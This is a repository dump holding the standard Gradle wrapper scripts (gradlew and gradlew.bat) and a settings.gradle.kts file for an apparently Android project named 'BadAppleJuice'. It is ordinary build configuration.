# Use the maximum available, or set MAX_FD != -1 to use that value.
MAX_FD="maximum"
warn () {
echo "$*"
}
die () {
echo
echo "$*"
echo
exit 1
}
# OS specific support (must be 'true' or 'false').
cygwin=false
msys=false
darwin=false
nonstop=false
case "`uname`" in
CYGWIN* )
cygwin=true
;;
Darwin* )
darwin=true
;;
MINGW* )
msys=true
;;
NONSTOP* )
nonstop=true
;;
esac
CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
# Determine the Java command to use to start the JVM.
if [ -n "$JAVA_HOME" ] ; then
if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
# IBM's JDK on AIX uses strange locations for the executables
JAVACMD="$JAVA_HOME/jre/sh/java"
else
JAVACMD="$JAVA_HOME/bin/java"
fi
if [ ! -x "$JAVACMD" ] ; then
die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
else
JAVACMD="java"
which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
Please set the JAVA_HOME variable in your environment to match the
location of your Java installation."
fi
# Increase the maximum file descriptors if we can.
if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
MAX_FD_LIMIT=`ulimit -H -n`
if [ $? -eq 0 ] ; then
if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
MAX_FD="$MAX_FD_LIMIT"
fi
ulimit -n $MAX_FD
if [ $? -ne 0 ] ; then
warn "Could not set maximum file descriptor limit: $MAX_FD"
fi
else
warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
fi
fi
# For Darwin, add options to specify how the application appears in the dock
if $darwin; then
GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
fi
# For Cygwin or MSYS, switch paths to Windows format before running java
if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
APP_HOME=`cygpath --path --mixed "$APP_HOME"`
CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
JAVACMD=`cygpath --unix "$JAVACMD"`
# We build the pattern for arguments to be converted via cygpath
ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
SEP=""
for dir in $ROOTDIRSRAW ; do
ROOTDIRS="$ROOTDIRS$SEP$dir"
SEP="|"
done
OURCYGPATTERN="(^($ROOTDIRS))"
# Add a user-defined pattern to the cygpath arguments
if [ "$GRADLE_CYGPATTERN" != "" ] ; then
OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
fi
# Now convert the arguments - kludge to limit ourselves to /bin/sh
i=0
for arg in "$@" ; do
CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
else
eval `echo args$i`="\"$arg\""
fi
i=`expr $i + 1`
done
case $i in
0) set -- ;;
1) set -- "$args0" ;;
2) set -- "$args0" "$args1" ;;
3) set -- "$args0" "$args1" "$args2" ;;
4) set -- "$args0" "$args1" "$args2" "$args3" ;;
5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
esac
fi
# Escape application args
save () {
for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
echo " "
}
APP_ARGS=`save "$@"`
# Collect all arguments for the java command, following the shell quoting and substitution rules
eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
exec "$JAVACMD" "$@"
================================================
FILE: gradlew.bat
================================================
@rem
@rem Copyright 2015 the original author or authors.
@rem
@rem Licensed under the Apache License, Version 2.0 (the "License");
@rem you may not use this file except in compliance with the License.
@rem You may obtain a copy of the License at
@rem
@rem https://www.apache.org/licenses/LICENSE-2.0
@rem
@rem Unless required by applicable law or agreed to in writing, software
@rem distributed under the License is distributed on an "AS IS" BASIS,
@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
@rem See the License for the specific language governing permissions and
@rem limitations under the License.
@rem
@if "%DEBUG%" == "" @echo off
@rem ##########################################################################
@rem
@rem Gradle startup script for Windows
@rem
@rem ##########################################################################
@rem Set local scope for the variables with windows NT shell
if "%OS%"=="Windows_NT" setlocal
set DIRNAME=%~dp0
if "%DIRNAME%" == "" set DIRNAME=.
set APP_BASE_NAME=%~n0
set APP_HOME=%DIRNAME%
@rem Resolve any "." and ".." in APP_HOME to make it shorter.
for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
@rem Find java.exe
if defined JAVA_HOME goto findJavaFromJavaHome
set JAVA_EXE=java.exe
%JAVA_EXE% -version >NUL 2>&1
if "%ERRORLEVEL%" == "0" goto execute
echo.
echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:findJavaFromJavaHome
set JAVA_HOME=%JAVA_HOME:"=%
set JAVA_EXE=%JAVA_HOME%/bin/java.exe
if exist "%JAVA_EXE%" goto execute
echo.
echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
echo.
echo Please set the JAVA_HOME variable in your environment to match the
echo location of your Java installation.
goto fail
:execute
@rem Setup the command line
set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
@rem Execute Gradle
"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
:end
@rem End local scope for the variables with windows NT shell
if "%ERRORLEVEL%"=="0" goto mainEnd
:fail
rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
rem the _cmd.exe /c_ return code!
if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
exit /b 1
:mainEnd
if "%OS%"=="Windows_NT" endlocal
:omega
================================================
FILE: settings.gradle.kts
================================================
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
}
}
rootProject.name = "BadAppleJuice"
include(":app")